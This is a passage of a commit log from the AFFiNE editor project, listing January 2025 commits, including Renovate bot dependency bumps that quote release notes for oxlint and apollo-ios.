Brooooooklyn
474b01aad7 ci: pin xcode-version to 16.1 (#9564) 2025-01-07 06:26:11 +00:00
Saul-Mirone
26fb9d148c chore: remove awareness sync since it's not used (#9563) 2025-01-07 06:12:08 +00:00
Saul-Mirone
0d2eb64817 chore: move page not found error out of constants (#9547) 2025-01-07 05:57:38 +00:00
Brooooooklyn
df6a6ac392 ci: fix android build (#9558) 2025-01-07 05:42:09 +00:00
L-Sun
6e0468c70a chore(editor): revert padding and layout of code block toolbar (#9562)
Close [BS-1767](https://linear.app/affine-design/issue/BS-1767/code-block调整边距)

This PR reverts padding and layout of code block toolbar.

![CleanShot 2025-01-07 at 12.39.37@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/7f278d03-40c4-4592-a844-77a5179149fd.png)
2025-01-07 04:53:04 +00:00
L-Sun
ded17abf7e fix(editor): add childElementIds to ai generated frame (#9537)
Close [BS-1354](https://linear.app/affine-design/issue/BS-1354/更新-ai-slide-template-到新的-frame)

This PR add `childElementIds` to frame block in ai presentation templates
2025-01-07 04:19:09 +00:00
donteatfriedrice
52f2e8d5d5 refactor(editor): surface markdown adapter extensionalize (#9560)
[BS-2212](https://linear.app/affine-design/issue/BS-2212/adapter-extension化修复)
2025-01-07 03:14:08 +00:00
donteatfriedrice
69e9aa087e refactor(editor): extract mix-text adapter to shared (#9559) 2025-01-07 03:14:07 +00:00
fundon
69e73af2a8 refactor(editor): add native clipboard extension (#9502)
Closes: [BS-2239](https://linear.app/affine-design/issue/BS-2239/不应该通过window注入affine的api)
2025-01-06 15:36:43 +00:00
Saul-Mirone
f778d1a28a refactor(editor): move extension to store (#9552) 2025-01-06 15:15:14 +00:00
EYHN
46c8c4a408 feat(nbstore): improve nbstore (#9512) 2025-01-06 09:38:04 +00:00
EYHN
a2563d2180 feat(i18n): add uk i18n (#9530) 2025-01-06 09:23:03 +00:00
Saul-Mirone
36d027ae4b fix(editor): remote selection refresh rate (#9543)
Closes: [BS-2307](https://linear.app/affine-design/issue/BS-2307/%E7%90%86%E8%AE%BA%E4%B8%8A%E5%85%89%E6%A0%87%E5%BA%94%E8%AF%A5%E4%B8%8D%E6%B6%88%E5%A4%B1%EF%BC%8C%E4%B8%80%E7%9B%B4%E6%98%BE%E7%A4%BA)
2025-01-06 09:09:00 +00:00
EYHN
7514ccd452 feat(ios): add apis for native (#9536) 2025-01-06 08:20:31 +00:00
donqu1xotevincent
f8771aa053 docs: update README.md (#9542) 2025-01-06 15:18:15 +08:00
donteatfriedrice
09c7a597be fix(core): should focus when clicking sidebar button (#9339) 2025-01-06 04:09:01 +00:00
Saul-Mirone
fc863e484c refactor(editor): remove selection global types (#9532)
Closes: [BS-2217](https://linear.app/affine-design/issue/BS-2217/remove-global-types-in-selection)
2025-01-06 03:45:11 +00:00
EYHN
8669936f2f feat(i18n): i18n Localization and translations for Farsi (fa) 🇮🇷 (#9533)
Co-authored-by: Mahyar Riazati <mr.riazati1999@gmail.com>
2025-01-06 03:28:57 +00:00
CatsJuice
09937a8e4d chore: bump icons with new design source (#9529) 2025-01-06 03:10:03 +00:00
Saul-Mirone
c22804766d chore(editor): remove common utils in surface block (#9527) 2025-01-06 02:41:39 +00:00
Saul-Mirone
3d168ba2d2 refactor(editor): reorg code structure of store package (#9525) 2025-01-05 12:49:02 +00:00
Saul-Mirone
1180e9bc15 refactor(editor): move workspace meta to affine (#9524) 2025-01-05 06:49:31 +00:00
Saul-Mirone
be0de6dc21 refactor(editor): remove legacy blocksuite doc (#9521) 2025-01-05 01:25:59 +00:00
github-actions[bot]
1f1997a082 chore(i18n): sync translations (#9520)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-01-04 13:19:51 +00:00
Saul-Mirone
c773982ced refactor(editor): rename store api (#9518) 2025-01-04 12:51:56 +00:00
EYHN
650e4fb6b2 chore(i18n): i18n auto codegen (#9516) 2025-01-04 12:32:21 +00:00
Saul-Mirone
dcf4993265 refactor(core): move block collection to affine and implement as doc (#9514) 2025-01-04 06:28:55 +00:00
github-actions[bot]
4cb186def2 chore(i18n): sync translations (#9513)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2025-01-04 11:06:49 +08:00
github-actions[bot]
0b9afdb696 chore(i18n): sync translations (#9499)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2025-01-03 15:55:39 +00:00
Saul-Mirone
4457cb7266 refactor(editor): rename doc to blocks (#9510) 2025-01-03 12:49:33 +00:00
Flrande
2074bda8ff fix(editor): at menu position in split view (#9500) 2025-01-03 12:20:31 +00:00
Saul-Mirone
b17dac2201 fix(editor): block selection error when unloaded (#9511)
Closes: [BS-2305](https://linear.app/affine-design/issue/BS-2305/typeerror-thisblock-is-null)
2025-01-03 10:09:02 +00:00
Saul-Mirone
ee5f13cd03 fix(editor): surface ref find element error (#9508) 2025-01-03 09:55:00 +00:00
Saul-Mirone
51b109ee53 chore(editor): move legacy doc collection to test workspace (#9507) 2025-01-03 09:40:33 +00:00
Saul-Mirone
cfd64f1fa5 refactor(core): move workspace implementation to affine (#9504) 2025-01-03 08:13:57 +00:00
Saul-Mirone
897c7d4284 refactor(editor): should not rely on doc collection type (#9501) 2025-01-03 06:30:27 +00:00
doouding
cb5d7eaabc feat: add scroll wheel zoom setting (#9476)
### Changed
Add `scroll wheel to zoom` setting option, when the option enables, user can zoom in and out with scroll wheel without pressing the cmd/ctrl key.
2025-01-03 06:09:10 +00:00
Saul-Mirone
0699205721 chore(editor): move helper to playground (#9498) 2025-01-03 04:23:59 +00:00
doouding
a4e94ab72f feat: add shortcut of zooming to selection (#9447)
### Changed
- change edgeless shortcut `cmd + 0`, `cmd + 1` to `alt + 0`, `alt + 1`
- add new shortcut `alt + 2` to zoom to currently selected elements
2025-01-03 03:57:05 +00:00
Saul-Mirone
30a181da38 refactor(editor): move mini mindmap to ai module (#9497) 2025-01-03 03:34:56 +00:00
doodlewind
cbc84ff672 fix(editor): blur in edgeless content zooming (#9496)
Fix [BS-2294](https://linear.app/affine-design/issue/BS-2294/edgeless-%E7%BC%A9%E6%94%BE%E5%AD%97%E5%8F%B7%E6%A8%A1%E7%B3%8A)
2025-01-03 02:36:57 +00:00
Saul-Mirone
8b6c81f76d refactor(editor): reduce dependency to doc collection (#9492) 2025-01-03 01:59:25 +00:00
renovate
eb15b3cb39 chore: bump up oxlint version to v0.15.5 (#9491)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.4` -> `0.15.5`](https://renovatebot.com/diffs/npm/oxlint/0.15.4/0.15.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.4/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.4/0.15.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.5`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.5): oxlint v0.15.5

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.4...oxlint_v0.15.5)

#### \[0.15.5] - 2025-01-02

##### Features

-   [`0e168b8`](https://redirect.github.com/oxc-project/oxc/commit/0e168b8) linter: Catch more cases in const-comparisons ([#&#8203;8215](https://redirect.github.com/oxc-project/oxc/issues/8215)) (Cameron)
-   [`bde44a3`](https://redirect.github.com/oxc-project/oxc/commit/bde44a3) linter: Add `statement_span` to `ModuleRecord/ImportEntry` ([#&#8203;8195](https://redirect.github.com/oxc-project/oxc/issues/8195)) (Alexander S.)
-   [`ccaa9f7`](https://redirect.github.com/oxc-project/oxc/commit/ccaa9f7) linter: Implement `eslint/new-cap`  ([#&#8203;8146](https://redirect.github.com/oxc-project/oxc/issues/8146)) (Alexander S.)

##### Bug Fixes

-   [`2b14a6f`](https://redirect.github.com/oxc-project/oxc/commit/2b14a6f) linter: Fix `ignorePattern` config for windows  ([#&#8203;8214](https://redirect.github.com/oxc-project/oxc/issues/8214)) (Alexander S.)

##### Testing

-   [`cb709c9`](https://redirect.github.com/oxc-project/oxc/commit/cb709c9) linter: Fix some oxlint tests on windows ([#&#8203;8204](https://redirect.github.com/oxc-project/oxc/issues/8204)) (Cameron)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 12:36:04 +00:00
renovate
93c8afd10d chore: bump up apollographql/apollo-ios version to from: "1.15.3" (#9486)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | minor | `from: "1.0.0"` -> `from: "1.15.3"` |

---

### Release Notes

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.15.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1153)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.2...1.15.3)

##### Improvements

-   **Stable sort schema types for SchemaMetadata ([#&#8203;514](https://redirect.github.com/apollographql/apollo-ios-dev/pull/514)):** *Thank you to [@&#8203;asmundg](https://redirect.github.com/asmundg) for the contribution.*

##### Fixed

-   **Fix multipart delimter boundary parsing ([#&#8203;502](https://redirect.github.com/apollographql/apollo-ios-dev/pull/502)):** The multipart message parsing code was not splitting message chunks at the correct boundary when the dash boundary was present in the message body.
-   **Fix Websocket error broadcast for unsubscribed ID ([#&#8203;506](https://redirect.github.com/apollographql/apollo-ios-dev/pull/506))** Only broadcast an error to all subscribers if there was no id field in the message.
-   **Fix bug with `AnyHashable` coercion for non-iOS platforms ([#&#8203;517](https://redirect.github.com/apollographql/apollo-ios-dev/pull/517)):** Extended the \_AnyHashableCanBeCoerced check to include macOS, watchOS, and tvOS with their respective minimum versions. *Thank you to [@&#8203;VMLe](https://redirect.github.com/VMLe) for the fix.*
-   **Fix assigning websocket callback queue before connecting ([#&#8203;529](https://redirect.github.com/apollographql/apollo-ios-dev/pull/529)):** Fixed a race condition with the callback queue assignment during an unstable connection.
-   **Fix `GraphQLOperation` hash uniqueness ([#&#8203;530](https://redirect.github.com/apollographql/apollo-ios-dev/pull/530)):** Adding uniqueness to GraphQLOperation hashing.

### [`v1.15.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1152)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.1...1.15.2)

##### Improvements

-   **Set `URLRequest` cache policy on GET requests ([#&#8203;476](https://redirect.github.com/apollographql/apollo-ios-dev/pull/476)):** Uses the Apollo cache policy to set a comparable cache policy on `URLRequest`. Previously there was no way to opt-out of default `URLRequest` caching behaviour.
-   **Batch writing records to the SQLite store ([#&#8203;498](https://redirect.github.com/apollographql/apollo-ios-dev/pull/498)):** Uses the `insertMany` to batch write records for a given operation vs previously performing a write for each individual record.

##### Fixed

-   **Fix `ListData` type check ([#&#8203;473](https://redirect.github.com/apollographql/apollo-ios-dev/pull/473)):** Fixed bool type check in `ListData`.
-   **Remove local cache mutation type condition setter ([#&#8203;485](https://redirect.github.com/apollographql/apollo-ios-dev/pull/485)):** Removes the setter for mutable inline fragments. The correct way to initialize with a type condition is to use `asRootEntityType`.

### [`v1.15.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1151)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.0...1.15.1)

##### Fixed

-   **Fix decoding of deprecated `selectionSetInitializer` option `localCacheMutations` ([#&#8203;467](https://redirect.github.com/apollographql/apollo-ios-dev/pull/467)):** This option was deprecated in `1.15.0`, and the removal of the code to parse the option resulted in a validation error when the deprecated option was present in the JSON code generation config file. This is now fixed so that the option is ignored but does not cause code generation to fail.
-   **Disfavour deprecated watch function ([#&#8203;469](https://redirect.github.com/apollographql/apollo-ios-dev/pull/469)):** A deprecated version of the `watch` function matched the overload of the current version if certain parameters were omitted. This caused an incorrect deprecation warning in this situation. We've fixed this by adding `@_disfavoredOverload` to the deprecated function signature.

### [`v1.15.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1150)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.14.1...1.15.0)

##### New

-   **Add ability to disable fragment field merging ([#&#8203;431](https://redirect.github.com/apollographql/apollo-ios-dev/pull/431)):** Added `ApolloCodegenConfiguration` option to allow for disabling fragment field merging on generated models. For more information on this feature see the notes [here](https://redirect.github.com/apollographql/apollo-ios/releases/tag/preview-field-merging.1).

##### Fixed

-   **Fix `legacyResponse` property not being set on `HTTPResponse` ([#&#8203;456](https://redirect.github.com/apollographql/apollo-ios-dev/pull/456)):** When the `legacyResponse` property of `HTTPResponse` was deprecated setting the value was also removed; this was incorrect as it created a hidden breaking change for interceptors that might have been using the value.
-   **Fix `ObjectData` type check ([#&#8203;459](https://redirect.github.com/apollographql/apollo-ios-dev/pull/459)):** Fixed bool type check in `ObjectData`.
-   **Fix `SelectionSetTemplate` scope comparison ([#&#8203;460](https://redirect.github.com/apollographql/apollo-ios-dev/pull/460)):** Refactored the selection set template scope comparison to account for an edge case in merged sources.
-   **Fix memory leak in DataLoader closure ([#&#8203;457](https://redirect.github.com/apollographql/apollo-ios-dev/pull/457)):** Fixed a memory leak in the DataLoader closure in `ApolloStore` caused by implicit use of `self`. *Thank you to [@&#8203;prabhuamol](https://redirect.github.com/prabhuamol) for finding and fixing this.*

##### Breaking

-   **Bug Fix: Generated Selections Sets in Inclusion Condition Scope:** This fixes a bug when using @&#8203;include/[@&#8203;skip](https://redirect.github.com/skip) where generated models that should have been generated inside of a conditional inline fragment were generated outside of the conditional scope. This may cause breaking changes for a small number of users. Those breaking changes are considered a bug fix since accessing the conditional inline fragments outside of the conditional scope could cause runtime crashes (if the conditions for their inclusion were not met). More information [here](https://redirect.github.com/apollographql/apollo-ios/releases/tag/preview-field-merging.1)

### [`v1.14.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1141)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.14.0...1.14.1)

##### New

-   **Ability to set the journal mode on sqlite cache databases ([#&#8203;3399](https://redirect.github.com/apollographql/apollo-ios/issues/3399)):** There is now a function to set the journal mode of the connected sqlite database and control how the journal file is stored and processed. See PR [#&#8203;443](https://redirect.github.com/apollographql/apollo-ios-dev/pull/443). *Thanks to [@&#8203;pixelmatrix](https://redirect.github.com/pixelmatrix) for the feature request.*

##### Fixed

-   **Fix crash when `GraphQLError` is “too many validation errors”" ([#&#8203;438](https://redirect.github.com/apollographql/apollo-ios-dev/pull/438)):** When a GraphQLError from the JS parsing step is a “Too many validation errors” error, there is no `source` in the error object. Codegen will now check for it to avoid this edge case crash.
-   **Cache write interceptor should gracefully handle missing cache records ([#&#8203;439](https://redirect.github.com/apollographql/apollo-ios-dev/pull/439)):** The work to support the `@defer` directive introduced a bug where the cache write interceptor would throw if no cache records were returned during response parsing. This is incorrect as there are no cache records in the case of an `errors` only GraphQL response.
-   **Avoid using `fatalError` on `JSONEncodable` ([#&#8203;128](https://redirect.github.com/apollographql/apollo-ios-dev/pull/128)):** The fatal error logic in `JSONEncodable` was replaced with a type constraint `where` clause. *Thank you to [@&#8203;arnauddorgans](https://redirect.github.com/arnauddorgans) for the contribution.*
-   **Introspection-based schema download creates duplicate `@defer` directive definition ([#&#8203;3417](https://redirect.github.com/apollographql/apollo-ios/issues/3417)):** The codegen engine can now correctly detect pre-existing `@defer` directive definitions in introspection sources and prevent the duplicate definition. See PR [#&#8203;440](https://redirect.github.com/apollographql/apollo-ios-dev/pull/440). *Thanks to [@&#8203;loganblevins](https://redirect.github.com/loganblevins) for reporting the issue.*

### [`v1.14.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1140)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.13.0...1.14.0)

##### New

-   **Experimental support for the `@defer` directive:** You can now use the `@defer` directive in your operations and code generation will generate models that support asynchronously receiving the deferred selection sets. There is a helpful property wrapper with a projected value to determine the state of the deferred selection set, and support for cache reads and writes. This feature is enabled by default but is considered [experimental](https://www.apollographql.com/docs/resources/product-launch-stages/#experimental-features). Please refer to the [documentation](https://www.apollographql.com/docs/ios/fetching/defer/) for further details.
-   **Add `debugDescription` to `SelectionSet` ([#&#8203;3374](https://redirect.github.com/apollographql/apollo-ios/issues/3374)):** This adds the ability to easily print code generated models to the Xcode debugger console. See PR [#&#8203;412](https://redirect.github.com/apollographql/apollo-ios-dev/pull/412). *Thanks to [@&#8203;raymondk-nf](https://redirect.github.com/raymondk-nf) for raising the issue.*
-   **Xcode 16 editor config files ([#&#8203;3404](https://redirect.github.com/apollographql/apollo-ios/issues/3404)):** Xcode 16 introduced support for `.editorconfig` files that represent settings like spaces vs. tabs, how many spaces per tab, etc. We've added a `.editorconfig` file with the projects preferred settings, so that the editor will use them automatically. See PR [#&#8203;419](https://redirect.github.com/apollographql/apollo-ios-dev/pull/419). *Thanks to [@&#8203;TizianoCoroneo](https://redirect.github.com/TizianoCoroneo) for raising the issue.*

##### Fixed

-   **Local cache mutation build error in Swift 6 ([#&#8203;3398](https://redirect.github.com/apollographql/apollo-ios/issues/3398)):** Mutating a property of a fragment annotated with the `@apollo_client_ios_localCacheMutation` directive caused a compile time error in Xcode 16 with Swift 6. See PR [#&#8203;417](https://redirect.github.com/apollographql/apollo-ios-dev/pull/417). *Thanks to [@&#8203;martin-muller](https://redirect.github.com/martin-muller) for raising the issue.*

### [`v1.13.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1130)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.2...1.13.0)

##### New

-   **Added `ExistentialAny` requirement ([#&#8203;379](https://redirect.github.com/apollographql/apollo-ios-dev/pull/379)):** This adds the `-enable-upcoming-feature ExistentialAny` to all targets to ensure compatibility with the upcoming Swift feature.
-   **Schema type renaming ([#&#8203;388](https://redirect.github.com/apollographql/apollo-ios-dev/pull/388)):** This adds the feature to allow customizing the names of schema types in Swift generated code.
-   **JSONConverter helper ([#&#8203;380](https://redirect.github.com/apollographql/apollo-ios-dev/pull/380)):** This adds a new helper class for handling JSON conversion of data including the ability to convert `SelectionSet` instances to JSON.

##### Fixed

-   **ApolloSQLite build error with Xcode 16 ([#&#8203;386](https://redirect.github.com/apollographql/apollo-ios-dev/pull/386)):** This fixes a naming conflict with Foundation in iOS 18 and the SQLite library. *Thanks to [@&#8203;rastersize](https://redirect.github.com/rastersize) for the contributon.*

### [`v1.12.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1122)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.1...1.12.2)

##### Fixed

-   **Rebuilt the CLI binary with the correct version number:** The CLI binary included in the `1.12.1` package was built with an incorrect version number causing a version mismatch when attempting to execute code generation.

### [`v1.12.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1121)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.12.0...1.12.1)

##### Fixed

-   **Rebuilt the CLI binary:** The CLI binary included in the `1.12.0` package was built with inconsistent SDK versions resulting in the linker signing not working correctly.

### [`v1.12.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1120)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.11.0...1.12.0)

##### New

-   **`ID` as a custom scalar ([#&#8203;3379](https://redirect.github.com/apollographql/apollo-ios/issues/3379)):** This changes the generation of the built-in GraphQL `ID` scalar to be treated as a custom scalar that can be modified by the user. See PR [#&#8203;363](https://redirect.github.com/apollographql/apollo-ios-dev/pull/363).

##### Fixed

-   **Adds visionOS deployment to ApolloTestSupport podspec ([#&#8203;364](https://redirect.github.com/apollographql/apollo-ios-dev/pull/364)):** This adds the `visionOS` deployment target to the ApolloTestSupport podspec to match the other package managers.
-   **Add `@_spi(Execution)` to executor for import in test mocks ([#&#8203;362](https://redirect.github.com/apollographql/apollo-ios-dev/pull/362)):** This replaces the use of `@testable` in ApolloTestSupport with specific `@_spi` scopes. This resolves a few issues that have been reported where the Apollo module could not be built for testing in non-debug configurations.

### [`v1.11.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1110)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.10.0...1.11.0)

##### New

-   **Added `refetchOnFailedUpdates` option to `GraphQLQueryWatcher` ([#&#8203;347](https://redirect.github.com/apollographql/apollo-ios/pull/347)):** This allows you to configure the query watcher not to refetch it's query from the server when a cache read to update it's data fails.

##### Fixed

-   **Generated input objects have default `nil` value for parameters with a schema-defined default value ([#&#8203;2997](https://redirect.github.com/apollographql/apollo-ios/issues/2997)):** When the schema defines a default value for an input parameter, you can now omit that parameter when initializing the input object and the default value will be used. This corrects feature parity with the Apollo Kotlin client. See PR [#&#8203;358](https://redirect.github.com/apollographql/apollo-ios-dev/pull/358).

-   **Fix namespacing error in `InterfaceTemplate` ([#&#8203;3375](https://redirect.github.com/apollographql/apollo-ios/issues/3375)):** This fixes an issue where having a schema type named `Interface` caused compilation errors in generated code. See PR [#&#8203;359](https://redirect.github.com/apollographql/apollo-ios-dev/pull/359).

### [`v1.10.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1100)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.3...1.10.0)

##### New

-   **Added support for visionOS ([#&#8203;3320](https://redirect.github.com/apollographql/apollo-ios/issues/3320)):** All the dependecies that Apollo iOS requires have been updated to add support for visionOS, so we can now add official support for visionOS too. See PR [#&#8203;333](https://redirect.github.com/apollographql/apollo-ios-dev/pull/333).

##### Improvement

-   **Add Sendable conformance to some basic SchemaTypes:** This adds `Sendable` conformance to the some of the generated schema types. This does not mean that all of the generated code is safe to use yet with complete concurrency checking of Swift 5.10 but it gets us closer to that goal. See PR [#&#8203;322](https://redirect.github.com/apollographql/apollo-ios-dev/pull/322). *Thanks to [@&#8203;bdbergeron](https://redirect.github.com/bdbergeron) for the contributon.*

### [`v1.9.3`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v193)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.2...1.9.3)

##### Fixed

-   **Fix injecting of context for UploadRequest:** Any request context passed into an upload request was not being added to the HTTP request and would not be available to the interceptor chain. See PR ([#&#8203;302](https://redirect.github.com/apollographql/apollo-ios-dev/pull/302)). *Thanks to [@&#8203;RobertDresler](https://redirect.github.com/RobertDresler) for the contribution.*
-   **Added support for SPM Package.resolved format version 3 ([#&#8203;3355](https://redirect.github.com/apollographql/apollo-ios/issues/3355)):** When using Xcode 15.3 the codegen CLI would fail the `generate` command with an error stating the Package.resolve file version is unsupported. Version 3 is now accepted as a valid file format for the codegen version checker. See PR ([#&#8203;304](https://redirect.github.com/apollographql/apollo-ios-dev/pull/304)).
-   **PrivacyInfo.xcprivacy file is invalid for Apollo and ApolloApi ([#&#8203;3359](https://redirect.github.com/apollographql/apollo-ios/issues/3359)):** We received reports that when submitting to the App Store the submission would fail with an error stating that the privacy manifests were invalid. We identified the error and updated the privacy files. See PR ([#&#8203;309](https://redirect.github.com/apollographql/apollo-ios-dev/pull/309)). *Thanks to [@&#8203;azilbershtein](https://redirect.github.com/azilbershtein) for raising the issue.*

##### Improvement

-   **Provide a direct means to observe changes in ApolloStore:** `ApolloStore` now exposes it's subscriber mechanism publicly. This means you can now observe and receive notifications about changes to the store. See PR ([#&#8203;300](https://redirect.github.com/apollographql/apollo-ios-dev/pull/300)). *Thanks to [@&#8203;jamesonwilliams](https://redirect.github.com/jamesonwilliams) for the contribution.*
-   **Remove redundant iteration in EntitySelectionTree merging algorithm:** The conditions for merging selections were revisited and we identified, and removed, a redundant iteration. This is a significant performance improvement as it removes an entire additional iteration through all the conditional scopes in the tree. See PR ([#&#8203;308](https://redirect.github.com/apollographql/apollo-ios-dev/pull/308)).

### [`v1.9.2`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v192)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.1...1.9.2)

##### Fixed

-   **Backwards Compatibility issues in 1.9.1:** 1.9.1 introduced a minor breaking change for some users who were creating a custom implementaiton of `ApolloClientProtocol`. Sorry about that! This patch release fixed the compatiblity. See PR [#&#8203;290](https://redirect.github.com/apollographql/apollo-ios-dev/pull/290). *Thanks to [@&#8203;michaelloo](https://redirect.github.com/michaelloo) for raising the issue.*

##### Improvement

-   **Session and task descriptions parameters added to `URLSessionClient` ([#&#8203;286](https://redirect.github.com/apollographql/apollo-ios-dev/pull/286)):** The `URLSessionClient` now allows you to set a `sessionDescription` on the session and `taskDescription` on each task. These are helpful when debugging, especially when analyzing HTTP traffic with Instruments. *Thanks to [@&#8203;hishma](https://redirect.github.com/hishma) for the contribution.*

### [`v1.9.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v191)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.9.0...1.9.1)

##### Fixed

-   **`SelectionSet` generated initializers don't compile with `self` parameter ([#&#8203;3330](https://redirect.github.com/apollographql/apollo-ios/issues/3330)):** Selection set initializers now use a local property name when the external property name is a Swift reserved word; see PR [#&#8203;257](https://redirect.github.com/apollographql/apollo-ios-dev/pull/257). *Thanks to [@&#8203;grantjbutler](https://redirect.github.com/grantjbutler) for raising the issue.*
-   **asXXXXXXX property on a union never returning `nil` if selection set empty ([#&#8203;3326](https://redirect.github.com/apollographql/apollo-ios/issues/3326)):** - The codegen logic to determine whether a selection set is composite or not has been improved to handle the case when `__typename` was the only field in the selection set; see PR [#&#8203;261](https://redirect.github.com/apollographql/apollo-ios-dev/pull/261). *Thanks to [@&#8203;vincentisambart](https://redirect.github.com/vincentisambart) for raising the issue.*

##### Improvement

-   **Feature/ContextIdentifier for the mutate queries ([#&#8203;281](https://redirect.github.com/apollographql/apollo-ios-dev/pull/281)):** Mutation operations can now be given a context identifier to be used later in the request. *Thanks to [@&#8203;VladimirK-ah](https://redirect.github.com/VladimirK-ah) for the contribution.*

### [`v1.9.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v190)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.8.0...1.9.0)

##### Improvement

-   **New import directive for operations:** GraphQL operations now support a directive to control custom module import statements in the generated file. Any operation that includes the directive `@import(module:)`, on the defintion line, with a supplied `String` as the module name will have that module used in a Swift `import` statement at the top of the operation file and any referenced fragments. *Thank you to [@&#8203;hemel](https://redirect.github.com/hemel) for the contribution ([#&#8203;236](https://redirect.github.com/apollographql/apollo-ios-dev/pull/236) / [#&#8203;245](https://redirect.github.com/apollographql/apollo-ios-dev/pull/245)).*

##### Fixed

-   **The `fragmentDefinition` remains in all generated fragments when `operationDocumentFormat` does not include `.definition` ([#&#8203;3282](https://redirect.github.com/apollographql/apollo-ios/issues/3282)):** Code generation will now only generate definitions in fragment files if the `operationDocumentFormat` config contains the `.definition` value ([#&#8203;218](https://redirect.github.com/apollographql/apollo-ios-dev/pull/218)). *Thank you to [@&#8203;jimisaacs](https://redirect.github.com/jimisaacs) for raising the issue.*
-   **Custom scalar file header comment ([#&#8203;3323](https://redirect.github.com/apollographql/apollo-ios/issues/3323)):** The header comment for generated custom scalar files was incorrectly changed to state that the output "should not be edited" but the file content could still be edited and would not be overwritten. The header comment has been changed back to state that the contents will be preserved during subsequent codegen executions. *Thank you to [@&#8203;matsudamper](https://redirect.github.com/matsudamper) for raising the issue and the contribution to fix it ([#&#8203;243](https://redirect.github.com/apollographql/apollo-ios-dev/pull/243)).*

##### Changed

-   **WebSocket disconnection errors are no longer printed to stdout ([#&#8203;3325](https://redirect.github.com/apollographql/apollo-ios/issues/3325)):** See PR ([#&#8203;253](https://redirect.github.com/apollographql/apollo-ios-dev/pull/253)) *Thank you to [@&#8203;sgade](https://redirect.github.com/sgade) for raising the issue.*

### [`v1.8.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v180)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.7.1...1.8.0)

##### Fixed

